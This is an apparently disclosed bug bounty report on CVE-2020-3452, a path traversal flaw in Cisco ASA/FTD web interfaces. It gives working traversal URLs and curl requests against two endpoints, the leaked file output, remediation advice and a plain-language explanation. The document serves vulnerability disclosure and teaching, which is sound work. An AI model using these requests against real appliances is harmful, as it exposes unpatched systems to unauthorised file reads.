https://█████ is vulnerable to CVE-2020-3452 Read-Only Path Traversal Vulnerability
The Cisco ASA/FTD web interface did not properly sanitise parameters on the translation-table and oem-customization endpoints, allowing directory traversal. An unauthenticated remote attacker could read files inside the webroot that were not meant to be accessible.
- Triaged in 7 hours
- Fixed in 20 days
- Disclosed after 21 days
Summary: https://████████ is vulnerable to a Read-Only Path Traversal Vulnerability
Description:
Get request parameters at the /+CSCOT+/translation-table and the /+CSCOT+/oem-customization are not properly sanitized which allows for reading files within the webroot directory that are not intended to be readable.
Impact
An unauthenticated, remote attacker can read sensitive files located inside the webroot directory.
Step-by-step Reproduction Instructions
Using Browser
- Visit https://██████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ in browser and note that you are prompted for a file download. This will be the source code for
portal_inc.luawhich is not normally accessible. - To verify you cannot access this file normally, visit https://██████/+CSCOE+/portal_inc.lua and verify that you receive a page that says "Wrong URL".
Using Curl
- In a linux terminal, send the following
curlcommand:
curl -i -s -k -X $'GET' \
-H $'Host: ████████' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
$'https://████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../'
and
curl -i -s -k -X $'GET' \
-H $'Host: ████' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
$'https://██████████/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua'
You should receive the following output:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Transfer-Encoding: chunked
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Fri, 24 Jul 2020 04:27:46 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
-- Copyright (C) 2006-2018 by Cisco Systems, Inc.
-- Created by [email protected]
dofile("/+CSCOE+/include/common.lua")
dofile("/+CSCOE+/include/browser_inc.lua")
local function compare(a,b) return a["order"]<b["order"] end;
function INTERNAL_PASSWORD_ENABLED(name)
return false;
- To verify you should not be able to access this info, run the following
curlcommand:
curl -i -s -k -X $'GET' \
-H $'Host: █████' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \
$'https://███/%2bCSCOE%2b/portal_inc.lua'
You should receive the following output:
HTTP/1.1 500 Internal Error
Cache-Control: no-cache
Pragma: no-cache
Connection: Close
Date: Fri, 24 Jul 2020 04:28:13 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Screenshots in Burpsuite showing the requests succeeding and failing
Success at https://███/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ which results in disclosure of the source code in portal_inc.lua
█████████
Failure trying to access https://███████/+CSCOE+/portal_inc.lua
███
Suggested Mitigation/Remediation Actions
Upgrade to the latest version of Cisco ASA or Cisco FTD.
References
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86 https://twitter.com/aboul3la/status/1286012324722155525
Impact
CVSS Score: Base 7.5 Vector: CVSS:3.1/CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:X/RL:X/RC:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:X/MS:X/MC:X/MI:X/MA:X
An unauthenticated, remote attacker can read sensitive files located inside the webroot directory.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the translation-table and oem-customization endpoints passed user-supplied path parameters to file reads without normalising or restricting them to the intended directory.
Impact
An unauthenticated remote attacker could read sensitive files inside the webroot directory, though only files within that directory and not the whole filesystem.
What the attacker needed
Network access to the appliance; no account needed
The fix
The vendor advisory recommends upgrading to the latest version of Cisco ASA or Cisco FTD.
How it was found
- Request the translation-table endpoint with a traversal path and observe a file download of portal_inc.lua.
- Request the same file directly and confirm it is normally blocked with a 'Wrong URL' page.
- Repeat the traversal against the oem-customization endpoint and confirm the same file is returned.
- Request the file directly with curl and confirm it fails with a server error.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some web servers have special pages that load files from the server's web folder. Here, those pages accepted a path that could step outside the intended folder, so a stranger could download files that should have been hidden. This is called path traversal: using '..' to climb out of the allowed directory.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.